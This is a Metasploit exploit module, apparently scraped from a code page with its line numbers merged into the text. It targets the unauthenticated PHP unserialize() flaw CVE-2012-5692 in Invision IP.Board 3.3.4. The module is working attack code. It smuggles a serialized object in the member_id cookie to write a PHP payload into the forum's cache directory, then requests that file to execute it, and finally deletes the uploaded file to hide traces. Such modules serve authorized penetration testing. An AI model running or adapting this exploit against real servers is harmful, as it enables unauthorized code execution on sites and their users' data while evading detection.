Path: blob/master/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::PhpEXE1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Invision IP.Board unserialize() PHP Code Execution',16'Description' => %q{17This module exploits a php unserialize() vulnerability in Invision IP.Board18<= 3.3.4 which could be abused to allow unauthenticated users to execute arbitrary19code under the context of the webserver user.2021The dangerous unserialize() exists in the '/admin/sources/base/core.php' script,22which is called with user controlled data from the cookie. The exploit abuses the23__destruct() method from the dbMain class to write arbitrary PHP code to a file on24the Invision IP.Board web directory.2526The exploit has been tested successfully on Invision IP.Board 3.3.4.27},28'Author' => [29'EgiX', # Vulnerability discovery, PoC, work on check() and cookie_prefix() methods30'juan vazquez', # Metasploit module31'sinn3r' # PhpEXE tekniq & check() method32],33'License' => MSF_LICENSE,34'References' => [35[ 'CVE', '2012-5692' ],36[ 'OSVDB', '86702' ],37[ 'BID', '56288' ],38[ 'EDB', '22398' ],39[ 'URL', 'http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-critical-security-update/' ]40],41'Privileged' => false,42'Platform' => ['php'],43'Arch' => ARCH_PHP,44'Payload' => {45'Space' => 8000, # Apache's limit for GET46'DisableNops' => true47},48'Targets' => [ ['Invision IP.Board 3.3.4', {}] ],49'DefaultTarget' => 0,50'DisclosureDate' => '2012-10-25',51'Compat' => {52'Meterpreter' => {53'Commands' => %w[54stdapi_fs_delete_file55]56}57},58'Notes' => {59'Reliability' => UNKNOWN_RELIABILITY,60'Stability' => UNKNOWN_STABILITY,61'SideEffects' => UNKNOWN_SIDE_EFFECTS62}63)64)6566register_options(67[68OptString.new('TARGETURI', [ true, "The base path to the web application", "/forums/"])69]70)7172self.needs_cleanup = true73end7475def base76base = target_uri.path77base << '/' if base[-1, 1] != '/'78return base79end8081def cookie_prefix82print_status("Checking for cookie prefix")83cookie_prefix = ""84res = send_request_cgi(85{86'uri' => "#{base}index.php",87'method' => 'GET'88}89)9091if res and res.code == 200 and res.get_cookies =~ /(.+)session/92print_status("Cookie prefix #{$1} found")93cookie_prefix = $194end95return cookie_prefix96end9798def check99check_str = Rex::Text.uri_encode('a:1:{i:0;O:1:"x":0:{}}')100res = send_request_cgi(101{102'uri' => "#{base}index.php",103'method' => 'GET',104'cookie' => "#{cookie_prefix}session_id=#{check_str}"105}106)107108if res and res.code == 500 or res.body =~ /PHP_Incomplete_Class/109return Exploit::CheckCode::Vulnerable110elsif res and res.code == 200111return Exploit::CheckCode::Safe112else113return Exploit::CheckCode::Unknown114end115end116117def on_new_session(client)118if client.type == "meterpreter"119client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")120begin121print_warning("Deleting #{@upload_php}")122client.fs.file.rm(@upload_php)123print_good("#{@upload_php} removed to stay ninja")124rescue125print_error("Unable to remove #{f}")126end127end128end129130def exploit131@upload_php = rand_text_alpha(rand(4) + 4) + ".php"132133# get_write_exec_payload uses a function, which limits our ability to support134# Linux payloads, because that requires a space:135# function my_cmd136# becomes:137# functionmy_cmd #Causes parsing error138# We'll have to address that in the mixin, and then come back to this module139# again later.140php_payload = get_write_exec_payload(:unlink_self => true)141php_payload = php_payload.gsub(/^\<\?php/, '<?')142php_payload = php_payload.gsub(/ /, '')143144db_driver_mysql = "a:1:{i:0;O:15:\"db_driver_mysql\":1:{s:3:\"obj\";a:2:{s:13:\"use_debug_log\";i:1;s:9:\"debug_log\";s:#{"cache/#{@upload_php}".length}:\"cache/#{@upload_php}\";}}}"145146print_status("Exploiting the unserialize() to upload PHP code")147148res = send_request_cgi(149{150'uri' => "#{base}index.php?#{php_payload}",151'method' => 'GET',152'cookie' => "#{cookie_prefix}member_id=#{Rex::Text.uri_encode(db_driver_mysql)}"153}154)155156if not res or res.code != 200157print_error("Exploit failed: #{res.code}")158return159end160161print_status("Executing the payload #{@upload_php}")162163res = send_request_raw({ 'uri' => "#{base}cache/#{@upload_php}" })164165if res166print_error("Payload execution failed: #{res.code}")167return168end169end170end171172173